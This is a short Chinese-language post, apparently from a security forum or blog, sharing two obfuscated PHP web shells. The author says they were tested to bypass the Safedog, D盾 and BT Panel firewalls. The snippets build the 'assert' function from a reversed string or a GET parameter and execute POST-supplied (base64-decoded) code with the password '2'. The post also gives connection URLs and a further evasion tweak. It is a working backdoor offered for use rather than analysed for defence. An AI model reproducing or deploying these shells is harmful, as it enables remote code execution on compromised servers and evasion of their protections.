分享一个过狗过D盾的小马(过宝塔WAF)

tools 看了下看过可以过D盾的。就看看过宝塔的效果

发现很有意思

<?php
$arr = strrev('tressa');
$arr($_POST[strcspn('di', 'ke')]);
?>

密码2 

拿自己站做了测试

第二个过狗的WAF

$arr = array_chunk($_GET['str'],1);
if($arr!=''){
        $con = str_replace('鸡儿','变长5厘米',$arr[0][0]);
        $con(base64_decode($_POST[strcspn('di', 'ke')]));
}

https://www.o2oxy.cn/aa.php?str[]=assert   密码2

连接上去

如果担心assert通过$_GET传值会被拦截，可以把
$arr = array_chunk($_GET[‘str’],1);  替换成$arr = array_chunk(array(strrev($_GET[‘str’][0])),1);
替换后连接地址就是:127.0.0.1/1.php?str[]=tressa
就是代码显得有点多。